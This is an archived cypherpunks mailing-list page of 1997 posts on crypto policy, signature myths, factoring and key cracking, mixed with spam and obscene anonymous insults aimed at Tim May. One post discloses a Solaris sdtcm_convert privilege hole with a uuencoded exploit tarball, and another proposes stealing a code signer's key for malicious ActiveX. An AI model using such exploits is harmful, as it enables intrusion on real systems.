December 2003 - cypherpunks-legacy

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C[rook] May is the living proof that anal sex causes pregnancy. /\_/\ ( x x ) -oo0-(o o)-0oo- Timmy C[rook] May

1 0

Re: DES and RSA crypto hardware from the free world
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

>>I've just got the details on two new crypto chips produced by the Dutch >>company Pijnenburg Custom Chips B.V. >Were those prices 1-off? Any idea what the price would be for volume? Those are one-off prices. You'll have to contact Pijnenburg (see the address in the original message) for more details. Peter.

1 0

Clipper article in Cu Digest, #9.10, Wed 20 Feb 97
by Bill Stewart 17 Dec '03

17 Dec '03

CUD is available at URL: http://www.soci.niu.edu/~cudigest/ Here are some excerpts: >>From -- Fight Censorship <FIGHT-CENSORSHIP(a)vorlon.mit.edu> > Federal Computer Week > DOD sinks the Clipper .. > The Defense Department plans to remove the government key escrow > software from its Fortezza cards used on the Defense Message System, a > move that signals the death of the Clinton administration's > controversial Clipper initiative and one that should encourage > civilian use of the cryptographic cards. > > A DOD spokeswoman confirmed the decision to remove the key escrow but > would not provide further details. > > The DOD decision, which will be formalized in a policy expected out > shortly, is in response to the administration's decision last October > to support key recovery technology instead of the controversial > Clipper initiative. Each agency must decide how it will implement the > government's policy internally. A technical advisory committee will > develop standards for a federal key management infrastructure. ... > DOD has for years pressured civilian agencies to use government escrow > technology, but the agencies were wary of the law enforcement access. > Stephen Walker, president and chief executive officer of Trusted > Information Systems Inc. (TIS), said the policy will remove the last > remnants of the Clipper and serve as an official endorsement of key > recovery technology. > > "This is the end of Clipper,'' Walker said. "This is a very positive > move because it puts the Defense Department in a posture of using > commercial products instead of Defense Department products. If the > Defense Department is moving away from key escrow, no one else is > going to feel obligated to have key escrow either." .... > Sources said DOD's move was targeted to increase the appeal of the > Fortezza card to users outside DOD. > > Bruce McConnell, chief of information policy at the Office of > Management and Budget, said the move would make Fortezza cards more > attractive, but he cited different reasons. "It does encourage people > to use it because it moves toward the commercial approach that's being > taken," he said. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 1

RRE: Risks on digital signatures, several other topics
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"rre(a)weber.ucsd.edu" 21-FEB-1997 23:42:52.06 From: Phil Agre <pagre(a)weber.ucsd.edu> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help(a)weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Fri, 21 Feb 1997 08:58:34 -0800 (PST) From: risks(a)csl.sri.com Subject: RISKS DIGEST 18.83 RISKS-LIST: Risks-Forum Digest Friday 21 February 1997 Volume 18 : Issue 83 ---------------------------------------------------------------------- Date: Wed, 19 Feb 1997 17:12:43 -0500 From: Edward Felten <felten(a)CS.Princeton.EDU> Subject: Myths about digital signatures There has been a lot of public discussion lately about digital signatures on mobile code. Several myths permeate this discussion. I'd like to puncture three of them. * Myth 1: Digital signatures let you know who wrote a program, or where it came from. Reality: Anybody can remove the author's signature or add their own signature. At best, a signature tells you that the signer endorsed the program recently. Endorsement is more useful than authorship anyway; most people care more about whether their corporate MIS department has endorsed a program than about who wrote the program. * Myth 2: If X has signed a program, and I trust X, then it is safe for me to download the program. Reality: There have been plenty of incidents of reputable and well-meaning organizations spreading viruses or serving as the base for security attacks. Before accepting a download from X, it's not enough to ask "Do I trust X?" One must also ask questions like "How carefully has X managed his cryptographic keys?" and "What is the probability that X's security has been penetrated?" * Myth 3: Digital signatures provide accountability; if a program signed by X is malicious, the victim can sue X. Reality: Suppose I accept a download signed by X. A few seconds later there is some mysterious network traffic and then my disk gets wiped clean. X could be the culprit. Or X could be innocent --- that code I downloaded from Y three days ago could have waited a while before detonating. Or somebody could have exploited a bug somewhere else in my system. I have *no evidence* to distinguish these cases --- all the evidence disappeared when my disk was erased. (We can assume the attacker is smart enough to remove the hostile code from his site immediately after the attack.) If the attacker doesn't erase my disk, I can't trust the apparent evidence anyway. After all, the attacker had free run of my system and could have planted whatever "evidence" he liked. The evidence, whether real or not, will collapse in the first cross-examination. Signatures can provide accountability, but only with much more rigorous logging and auditing than today's consumer software provides. ------------------------------ Date: Mon, 17 Feb 1997 08:21:44 -0500 From: amesr(a)interlog.com (Robert Ames) Subject: Forgeries and Dejanews It seems that an effective way to attack an individual is to forge a Usenet article purportedly from that person, and to include in the article "admissions" or bigotted statements which would reflect poorly on his character. The forged article is then collected by Dejanews and similar organizations and archived. It becomes part of the Dejanews "profile" on the supposed author. I was one of the victims of a series of forgeries in August and September, 1996. The perpetrator originated at ixc.net in New York, and then telnetted to news.uu.net and other open news servers to post as the victim. Although I cancelled the forged article and posted a PGP-signed repudiation, the article was still archived at Dejanews, and was recently used by someone to "prove" that I had made statements which put me in a bad light. Since this is a general problem which can impact on anyone, I feel it needs to be discussed. Perhaps news archivers should be under the same scrutiny as credit reporting agencies. ------------------------------ Date: Wed, 19 Feb 1997 19:58:39 -0500 From: Edward Felten <felten(a)CS.Princeton.EDU> Subject: Mobile code security mailing list We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo(a)cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ------------------------------ Date: Wed, 19 Feb 1997 13:33:51 -0500 From: Paul Robinson <foryou(a)erols.com> Subject: ActiveX basic problem As it has been pointed out in *Dr. Dobbs' Journal*, an ActiveX control is no less than a Windows Dynamic Link Library (DLL) that has all the power and capability of any other DLL loaded on a Windows system, i.e. any damn thing it wants to do. This alone should ring the death knell on use of ActiveX for anything other than perhaps on an intranet behind a firewall that does not allow any incoming traffic, and maybe not even then. Paul Robinson, Evergreen Software ------------------------------ Date: Fri, 21 Feb 1997 16:06:20 +0000 (GMT) From: Lloyd Wood <L.Wood(a)surrey.ac.uk> Subject: MS on the CCC ActiveX virus (fwd) Here is Microsoft's official line on the security of ActiveX. This leaves a very nasty taste in my mouth. The onus on the users to be responsible with their tools, as usual, rather than on the developers to create safer tools. Lloyd <URL:http://www.sat-net.com/L.Wood/><L.Wood(a)ieee.org>+44-1483-300800x3435 ---------- Forwarded message ---------- Date: Fri, 21 Feb 1997 10:31:18 -0500 >From: glen mccready <glen(a)qnx.com> Subject: MS on the CCC ActiveX virus Forwarded-by: garman(a)phs.k12.ar.us (Jason Garman) >From: Site Builder Network <sbn(a)MICROSOFT.COM> Subject: SBN Wire: News Flash Dear Site Builder Network Member, Tomorrow, Microsoft will be posting the attached letter to our web site, and sending it out to the Internet Explorer community. In it, Brad Silverberg addresses head-on the recent security questions facing the industry regarding malicious, unsigned controls. We know this issue is important to you and your customers, and wanted to give you a heads-up. For more information, check out http://www.microsoft.com/security Tod Nielsen, General Manager, Developer Relations Group = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = >From the Office of Brad Silverberg Senior Vice President Microsoft Corporation 1 Microsoft Way Redmond, WA 98052 Dear Internet Users Everywhere: You may have heard reports about a malicious software program created and demonstrated recently by the Chaos Computer Club (CCC) in Hamburg, Germany. I want to personally assure you that Microsoft(R) Internet Explorer 3.0 has the appropriate safeguards to protect against this type of threat. By using its default security level (High) that comes pre-set, Internet Explorer 3.0 will not download and run any "unsigned" control such as the one from the CCC. The CCC demonstrated its malicious executable code running on Microsoft Internet Explorer 3.0, though they could just as easily have demonstrated a similar attack on any other browser. While it is unfortunate that hackers have created this harmful program, it does point out the need for users to act cautiously and responsibly on the Internet, just as they do in the physical world. Malicious code can be written and disguised in many ways - within application macros, Java(tm) applets, ActiveX(tm) controls, Navigator plug-ins, Macintosh(R) applications and more. For that reason, with Internet Explorer 3.0, Microsoft has initiated efforts to protect users against these threats. Microsoft Authenticode(tm) in Internet Explorer 3.0 is the only commercial technology in use today that identifies who published executable code you might download from the Internet, and verifies that it hasn't been altered since publication. If users choose to change the default security level from High to Medium, they still have the opportunity to protect themselves from unsigned code. At a Medium setting, prior to downloading and running executable software on your computer, Microsoft Internet Explorer presents you with a dialog either displaying the publisher's certificate, or informing you that an "unsigned control" can be run on your machine. At that point, in either case, you are in control and can decide how to proceed. As you know, Microsoft is committed to giving users a rich computing experience while providing appropriate safeguards. Most useful and productive applications need a wide range of system services, and would be seriously limited in functionality without access to these services. This means that many Java applications will have to go "outside the sandbox" to provide users with rich functionality. By signing code, a developer can take advantage of these rich services while giving users the authentication and integrity safeguards they need. Other firms such as Sun and Netscape are following our lead, and have announced that they will also provide code signing for Java applets. Microsoft will also be providing an enhanced Java security model in the future, giving users and developers flexible levels of functionality and security. Microsoft takes the threat of malicious code very seriously. It is a problem that affects everyone in our industry. This issue is not tied to any specific vendor or group of people. All of us that use computers for work, education, or just plain fun need to be aware of potential risks and use the precautions that can insure we all get the most out of our computers. For this reason, we are committed to providing great safeguards against these types of threats in Internet Explorer. We expect hackers and virus writers to get increasingly sophisticated but we pledge we'll continue to keep you and us one step ahead of them. Brad Silverberg P.s. Be sure to check out our Web Executable Security Advisor at http://www.microsoft.com/security ------------------------------ Date: Thu, 20 Feb 1997 10:43:36 -0800 From: Travis Winfrey <travis(a)lombard.com> Subject: Microsoft "defends" ActiveX The site http://www.news.com/News/Item/0,4,8096,00.html?latest discusses the MS response to the activeX/quicken bug where downloaded activeX applets can actually transfer real money out of your bank account (bug not applicable in America). They point to this URL: http://www.microsoft.com/security/ which has this instant-classic paragraph, emphasis not in the original: While the Java sandbox enforces a high degree of security, it does not let users download and run exciting multimedia games or other full-featured programs on their computers. <EM> As a result, users may want to download code that has full access to their computers' resources. </EM> ------------------------------ Date: 15 Aug 1996 (LAST-MODIFIED) From: RISKS-request(a)csl.sri.com Subject: Abridged info on RISKS (comp.risks) The RISKS Forum is a MODERATED digest. Its Usenet equivalent is comp.risks. => SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) if possible and convenient for you. Or use Bitnet LISTSERV. Alternatively, (via majordomo) DIRECT REQUESTS to <risks-request(a)csl.sri.com> with one-line, SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or INFO [for unabridged version of RISKS information] => The INFO file (submissions, default disclaimers, archive sites, .mil/.uk subscribers, copyright policy, PRIVACY digests, etc.) is also obtainable from http://www.CSL.sri.com/risksinfo.html ftp://www.CSL.sri.com/pub/risks.info The full info file will appear now and then in future issues. *** All contributors are assumed to have read the full info file for guidelines. *** => SUBMISSIONS: to risks(a)CSL.sri.com with meaningful SUBJECT: line. => ARCHIVES are available: ftp://ftp.sri.com/risks or ftp ftp.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>cd risks or http://catless.ncl.ac.uk/Risks/VL.IS.html [i.e., VoLume, ISsue]. The ftp.sri.com site risks directory also contains the most recent PostScript copy of PGN's comprehensive historical summary of one liners: get illustrative.PS ------------------------------ End of RISKS-FORUM Digest 18.83 ************************ Standard Risks reuse disclaimer: Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse.

1 0

Myths of Digital Signatures: RISKS article by Ed Felten
by Bill Stewart 17 Dec '03

17 Dec '03

Ed Felten has an article in RISKS Digest, Volume 18, Issue 83, http://catless.ncl.ac.uk/Risks/18.83.html called "Myths about digital signatures". It's focused on the "Microsoft Signed This ActiveX Applet So It Must Be Safe" delusion. Nothing we haven't heard before, but a good summary. He's also announcing a mailing list on security of Java/ActiveX/etc. =================================================== Mobile code security mailing list Edward Felten <felten(a)CS.Princeton.EDU> Wed, 19 Feb 1997 19:58:39 -0500 We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo(a)cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ================================================================== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

Re: Forgery detection
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timmy `C' Maya's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. o-:^>___? Timmy `C' Maya `~~c--^c'

1 0

Re: IDEA/Strength?
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"stewarts(a)ix.netcom.com" "Bill Stewart" 22-FEB-1997 03:05:51.28 >At 04:21 PM 2/21/97 -0500, Alec wrote: >>Is the strength, or lack thereof, of conventional PGP encryption >>proportional to the length of the conventional password? >Sure, up to 128 bits of entropy. Go check out pgpcrack. Another way to put it is that the length places a _maximum_ on the entropy; no more than 7 bits (unless PGP's interface can deal with control/etcetera keys) minus a fractional bit (for characters like delete) per character. Of course, simply expanding a passphrase of "a" to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" won't do you much good... but most non-pathological passphrases will expand in entropy as they expand in length. (There is the consideration, however, that a lengthy passphrase may need to be in alphabetical characters, as opposed to alphanumeric, due to human memory limitations. If you didn't/don't have that, then even a completely random over-19-character long passphrase (enough to be more than 128 effective bits going in) could be of assistance; greater length makes it more likely that someone observing you will miss enough of the passphrase to make a search impractical.) -Allen

2 1

No Subject
by stewarts＠ix.netcom.com 17 Dec '03

17 Dec '03

CC: From: stewarts(a)ix.netcom.com (Bill Stewart) Subject: 167-digit number factored X-Mailer: Mozilla/2.1 (compatible; Opera/2.1; Windows 95) The article's gotten a bit garbled through replies, but this was on sci.crypt. > In article <phrE5EDtw.D1w(a)netcom.com> phr(a)netcom.com (Paul Rubin) writes: > >In article <5dna0l$nrl(a)arthur.cs.purdue.edu>, > >Samuel S Wagstaff <ssw(a)cs.purdue.edu> wrote: > > >>On Tuesday, 4 February 1997, we completed the factorization of a > >>composite number of 167 digits, one of the `More Wanted' factorizations > >>of the Cunningham Project. It is: > >> > >>3,349- = (3^349 - 1)/2 = c167 = p80 * p87 > >> > > >Congratulations.... was this factorization much easier than > >factoring a general 167 (or 160) digit number? > > Yes, this c167 is much easier. I just finished the 136-digit number > > n = (2^454 - 2^341 + 2^227 - 2^114 + 1)/13 > > (a divisor of (2^1362 + 1)/(2^454 + 1)). The sieving took > 85 machine-days (about two weeknights) on a network of 60 SGI machines, > and took advantage of n's representation as a polynomial in 2^113. > Last year's factorization of RSA130 (130 digits) took 6 calendar-months > to sieve, at multiple sites. By the way, the new factorization is > n = p49 * p88, where > > p49 = 2393102462756185953833037662530180237989024296581 > p88 = 14952485345141425227257136559467580083134337 \ > 51379919088823926933276083374444560702796609 > > The c167 factorization of (3^349 - 1)/2 was about as hard > as doing a general number around 115-120 digits. > -- > Peter L. Montgomery pmontgom(a)cwi.nl San Rafael, California > > A mathematician whose age has doubled since he last drove an automobile. >

1 0

Re: Photos Digitized and Theyre Done Dirt Cheap!
by Evan Platt (IN3501) 17 Dec '03

17 Dec '03

Attn: you fell victim to this persons abuse of Internet E-Mail. You can help stop him by doing two things: 1. do NOT use his service. Find somewhere else to get photos scanned. 2. Forward a COMPLETE copy of his message with all headers intact to postmaster@aol.com,abuse@aol.com,tosadvisor@aol.com,stevecase@aol.com,root@a ol.com This will make sure that AOL knows you do NOT want to receive this persons crap, and they will shut down his account. Thank you for listening, and help stop SPAM! At 01:26 PM 2/21/97 -0500, Bulkyman(a)aol.com wrote: >Photos Digitized and Theyre Done Dirt Cheap!

1 0

Security hole in Solaris 2.5 (sdtcm_convert) + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sat Feb 22 15:25:48 EET 1997 Romania Another hole in Solaris I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert - calendar data conversion utility - allows any user to change the owner for any file (or directory) from the system or gain root access. The exploit is very simple. Change the permision mode of your calendar file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you first). You have only to delete the callog file and make a symbolic link to a target file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target file ... A simple way to correct this is to get out suid_exec bit from sdtcm_convert I made an exploit, so you have to extract the text, uudecode it, and exec a 'tar -xf exploit.tar'. You'll get the files in exploit_dir. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 begin 600 exploit.tar M97AP;&]I=%]D:7(O4D5!1$U% M M # Q,# V,# ,# P,#0V, P,# P-#4W # P,# P,# Q,#(Q M # V,S S-3<Q,3<W # P,30U-#( , M M !U<W1A<@ P,'-K:7!O M <W1U9#, M P,# P,#0P # P,# R,#< M M M M J2&]W('1O(&UA:V4@82!S:6UP;&4@8V%L;&]G M(&9I;&4J"@I)9B!Y;W4@9&]N="!H879E(&$@+W9A<B]S<&]O;"]C86QE;F1A M<B]C86QL;V<N64]5(&5D:70@8V%L;&]G+F5X86UP;&4L"G)E<&QA8V4@)W-K M:7!O)R!W:71H('EO=7(@=7-E<B!N86UE(&%N9" G<W5N9'DN8W,N<'5B+G)O M)R!W:71H('EO=7(*;6%C:&EN92!N86UE("AT<GD@9FER<W0@=&AE('-H;W)T M(&YA;64L(&5X86UP;&4Z('-U;F1Y(&%N9"!I9B!Y;W4G;&P@:&%V90IT<F]U M8FQE<VAO=&EN9W,@=')Y('1H92!L;VYG(&YA;64L(&5X86UP;&4@<W5N9'DN M8W,N<'5B+G)O*2X@069T97(@=&AA= IC;W!Y('1H92!N97<@8V%L;&]G(&9I M;&4@:6X@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N64]54E]54T527TY! M344L(')U;@IO;F-E('-D=&-M7V-O;G9E<G0@=VET:"!Y;W5R('5S97(@;F%M M92 H97AA;7!L92!S9'1C;5]C;VYV97)T('-K:7!O*0IA;F0@=V%I="!F;W(@ M8V]R<F5C=&EO;G,N($YO=R!Y;W4@87)E(')E861Y('1O(')U;B!T:&4@97AP M;&]I="X* M M M M M M M M M M M 97AP;&]I=%]D:7(O8V%L;&]G+F5X86UP;&4 M M # Q,# W,# ,# P,#0V, P,# P-#4W # P,# P M,# Q,S(P # V,S S-38W-#0T # P,38U,#4 , M M !U<W1A<@ P M,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M !697)S:6]N.B T"BHJ*BH@<W1A<G0@ M;V8@;&]G(&]N($9R:2!$96,@(#8@,30Z,#<Z-#,@,3DY-B J*BHJ"@HH8V%L M96YD87)A='1R:6)U=&5S("@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-' M34P@06-C97-S($QI<W0O+T5.(BPB,3 Z86-C97-S7VQI<W0B+")W;W)L9#HR M(BD**"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!. M86UE+R]%3B(L(C4Z<W1R:6YG(BPB<VMI<&] <W5N9'DN8W,N<'5B+G)O(BD* M*"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!/=VYE M<B\O14XB+"(V.G5S97(B+")S:VEP;T!S=6YD>2YC<RYP=6(N<F\B*0HH(BTO M+UA!4$E!+T-302]#04Q!5%12+R].3TY31TU,($-H87)A8W1E<B!3970O+T5. M(BPB-3IS=')I;F<B+")#+DE33RTX.#4Y+3$B*0HH(BTO+UA!4$E!+T-302]# M04Q!5%12+R].3TY31TU,($1A=&4@0W)E871E9"\O14XB+"(W.F1A=&5?=&EM M92(L(C$Y.38Q,C V5#$R,#<T,UHB*0HH(BTO+UA!4$E!+T-302]#04Q!5%12 M+R].3TY31TU,(%!R;V1U8W0@261E;G1I9FEE<B\O14XB+"(U.G-T<FEN9R(L M(BTO+T14+R].3TY31TU,($-A;&5N9&%R(%!R;V1U8W0@5F5R<VEO;B Q+R]% M3B(I"B@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-'34P@5F5R<VEO;B\O M14XB+"(U.G-T<FEN9R(L(BTO+UA!4$E!+T-302]615)324].,2].3TY31TU, M($-302!697)S:6]N(#$O+T5.(BD**0H M M M M M M M 97AP;&]I=%]D:7(O;W)A;F=E+F, M M # Q,# V,# ,# P,#0V, P,# P-#4W M # P,# P,# Q,C0V # V,S S-38W,S(R # P,34S,#< , M M !U M<W1A<@ P,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M C:6YC;'5D92 \<W1D:6\N M:#X*(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92 \<WES+W-T870N M:#X*(VEN8VQU9&4@/'5N:7-T9"YH/@H*(V1E9FEN92!P871H(" B+W9A<B]S M<&]O;"]C86QE;F1A<B]C86QL;V<N(@H*"G9O:60@;6%I;BAI;G0@87)G8RP@ M8VAA<B J87)G=EM=*0I["FEN="!P:60L9FEL961E<ULR73L*1DE,12 J9CL* M<W1R=6-T('-T870@:6YF;SL*;&]N9R!I.PIC:&%R('1A<F=E=%LQ,CA=+'-H M:69T6S$R.%T["@D*"7-T<F-P>2AT87)G970L87)G=ELQ72D["@ES=')C<'DH M<VAI9G0L<&%T:"D["@ES=')C870H<VAI9G0L87)G=ELR72D["@EI9BAP:7!E M*&9I;&5D97,I*0H)>PH)"7!E<G)O<B@B8V%N="!C<F%T92!P:7!E7&XB*3L* M"0EE>&ET*# I.PH)?0D*"6EF*'!I9#UF;W)K*"D]/3 I"@E["@D)9F]R*&D] M,#MI/#,P,# P,# P.VDK*RD["@D)=6YL:6YK*'-H:69T*3L*"0ES>6UL:6YK M*'1A<F=E="QS:&EF="D["@D)=W)I=&4H9FEL961E<ULQ72PB>5QN(BQS:7IE M;V8H(GE<;B(I*3L*"7T)"0D)"@EE;'-E( H)>PH)"6-L;W-E*# I.PH)"61U M<"AF:6QE9&5S6S!=*3L*"0ES>7-T96TH(FQE;6]N(BD["@D)<W1A="AT87)G M970L)FEN9F\I.PH)"6EF*&EN9F\N<W1?=6ED/3UG971U:60H*2D@<')I;G1F M*")#3TQ,($D@9&ED($E4("$A(5QN(BD["@E]"@D*?0H M M M M M M M M 97AP;&]I=%]D:7(O=&AE9FER<W0 M M # Q,# W,# ,# P,#0V, P M,# P-#4W # P,# P,# P-S0W # V,S S-38W,S,R # P,34T-3( , M M M !U<W1A<@ P,'-K:7!O M<W1U9#, P,# P,#0P # P,# R M,#< M M M O8FEN+V5C:&\@ M(F]R86YG92YC("T^(&]R86YG92(*9V-C("UO(&]R86YG92!O<F%N9V4N8PH* M+W5S<B]U8V(O=VAO86UI(#X@=V@*<F5A9"!54T52(#P@+B]W: H*(W=A=&-H M:6YG(&9O<B!C86QL;V<@9FEL92!I9B!I="!I<VYT('=I;&P@<W1O< II9B A M('1E<W0@+68@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N)%5315([('1H M96X*(" O8FEN+V5C:&\@(DD@8V%N="!F;W5N9"!C86QL;V<@9FEL92X@4&QE M87-E(')E860@4D5!1$U%(&%N9"!C<F5A=&4@:70B"B @97AI=#L*9FD*"B]B M:6XO96-H;R B=VAA="=S('1H92!T87)G970@/S\_(@IR96%D(%1!4D=%5 H* M+V)I;B]E8VAO("]B:6XO8VAM;V0@,# P("]V87(O<W!O;VPO8V%L96YD87(O M8V%L;&]G+B154T52(#YL96UO;@HO8FEN+V5C:&\@+W5S<B]D="]B:6XO<V1T M8VU?8V]N=F5R=" D55-%4B ^/FQE;6]N"B]B:6XO8VAM;V0@-S P("XO;&5M M;VX*"BXO;W)A;F=E("1405)'150@)%5315(* M M M M M M M M M M M M M M M M M M M M M M I end

3 2

Re: DES Crack Hype
by earle＠zero.genx.net 17 Dec '03

17 Dec '03

# > > > For instance, New Media Laboratories provides no source code for their # > > > software, nor any type of documentation to track what it 'should' be # > > > doing vs. what it 'is' doing. # > > # > > I had no difficulty obtaining source from them for benchmarking/porting # > > reasons. I do freely admit that there is a lack of documentation. Let's clear a few things up right off the bat here. This whole thing was done strictly out of complete boredom with the participation of a small group of people, mainly online friends. Needless to say it has grown at a seemingly exponential rate, putting us somewhere in the ballpark of having a "real shot" at this. Source code was initially released on a very early version of the RC5-client, after a half dozen or so rogue clients started up, we decided to quickly strop distributing source code until the whole client->server protocol could be devised "the right way".. Source code for "current" client will be released as well, hopefully very soon now. Well documentation for what it is doing? It's uh, doing some math or something; that's retarded. Documentation for running? Well, I suppose anyone unfamiliar with normal ``man(1)'' style syntaxing would find it cryptic at best, but it should be fairly straight forward. Now that there actually seems to be extensive participation in this, we're doing a FAQ on the website. Hopefully this will alleviate alot of this. # > I have had no difficulty in obtaining silence in response to my # > email regarding New Media Labaoratories and their software. # > When I received your post, I was on the verge of deciding that their # > silence was an indication that they wanted me to consider myself their # > official spokesperson. # > That would have been fun. Generally I dont waste my time dealing with such ludicrous issues. You people should all realize, that no matter what you do, no matter how you do it, as soon as it hit's mailing lists or newsgroups, someone has opinions about it, as well as "a better way of doing it". Well whatever, it's all just a monumental waste of bandwidth. # > # > > > It reports results which are obviously # > > > in error, and there is no way to divine the source or cause of those # > > > false results. If you are speaking of the website statistics, well I'm not even going to get involved in this. I'm working on "doing it right" as time permits. I didnt have much to do with the one that is up there now. # > # > However, I am referring to the stats that I get on my own machine after # > the keys have been 'checked'. I had one message telling me, "Keyspace # > exhausted in 243.12 minutes." The only problem is that it actually took # > slightly under an hour. If it is wrong about the time, then how can I # > be expected to believe that it is right about the keys being checked? This is due to the fact that you have a bum client :) New clients, (all compiles are being verified by me before put online) are becomming available now. Proxies for all of the platforms we're supporting will be available too; caching proxies underway as well. The vast majority of the initial clients were not ported by my me. # > > A second generation of key serv statistics reporting with wiz-bang # > > graphics and other cool crap can be expected by the end of this # > > weekend. Uh, terrific. # > # > This is precisely my point. None of the people that are running these # > programs on our machines have any way of knowing just exactly what is # > taking place here. # > <crap deleted> I'm getting more and more distressed about this utter waste of bandwidth the further down I get here. I will put specifics on how the server assigns keyspace onto the website in due time. Frankly, I do not expect, or care, to be the one to break this key. I in no way, shape or form, give unfair advantages to any of the participants. Keys are assigned, they are not ranked and assigned based on any preference whatsoever. This is pretty ridiculous. # > # > I was impressed with the genx homepage and the number of platforms to # > which the software had been ported. The software itself was ported to # > Win95 with at least enough competence to do 'something', as opposed to # > requiring me to reinvent the wheel in order to get it to run. # > But I still don't know what it does, in fact, do, or if I am just # > pissing in the wind by running it. (Or if it was written by the same # > guys who killed Kennedy). # > # > So, although I appreciate your efforts, until I find a basis for # > deciding otherwise, I will be using the Orange Crayola to connect # > you on my chart to the bad-guys on the X Files. The client allows you to participate in the RC5-56 contest (at no unfair advantage or disadvantage). That is the bottom line. If you wish to participate, we'd greatly welcome any instructions you can spare. If you don't, that's fine too, best of luck. earle.

2 2

Re: It is time to break Authenticode
by jim bell 17 Dec '03

17 Dec '03

At 08:09 PM 2/23/97 -0500, lucifer Anonymous Remailer wrote: >Microsoft's recent arrogant and irresponsible reply to the Chaos >Computer Club hack on ActiveX requires response. An effective response >would be to steal the key of a major code signer and produce a signed, >malicious ActiveX control. Such an attack would demonstrate the >serious problems of Microsoft's security philosophy. > [trim] > >The best avenue of attack is stealing the secret key of a respected >code signer. The target should be one of the major players, if not >Microsoft itself. Someone is sloppy to store their secret key on a >machine hooked to the Internet. Stealing it would be a very nice >challenge. It should be doable. I can think of an easier way. If the goal is simply to demonstrate that the system can be broken, how about offering a not-insignificant amount of money to anonymous person who manages to successfully get code signed? No exposure is necessary, just the signature done once. Jim Bell jimbell(a)pacifier.com

1 0

Tap in to You Income Potential
by get.a.life＠worldnet.att.net 17 Dec '03

17 Dec '03

Tap in to your own income potential and Make a Change for Life! Why this Company? * It answers the criteria established by both the Harvard Business School and the Kiplinger Personal Finance Magazine. * It has been in business more than four years. Their products trigger an emotional response, are consumable, and have been exposed to less thatn 1% of the population in the U.S. The products are reasonably priced, easy to use and unique to the marketplace. The company offers a 30 day money-back guarantee. The products are in the explosive industries of health, weight management, nutrition, personal-care and telecommunications. * It is approaching the stage of critical mass. Getting involved with the company at this stage of momentum puts you in a position of substantial growth. * The company is debt free. It is a family-owned business dedicated to long-term growth. It is also a product driven company. Your income will be driven by retail sales and repeat business. * You have the opportunity to earn income on up to sex levels deep as a Qualified Director. Please take the time to visit the corporate home page at http://www.eola.com/. Then give me a call or send me an e-mail to ask questions, to purchase products at retail or wholesale prices, or to set up your own distributorship. I look forware to hearing from you, Neda Hatcher E'OLA Products Independent Distributor get.a.life(a)woldnet.att.net MasterCard and VISA accepted! (318)688-2517 msg002

1 0

Dark Times Ahead
by Pan D.Modium 17 Dec '03

17 Dec '03

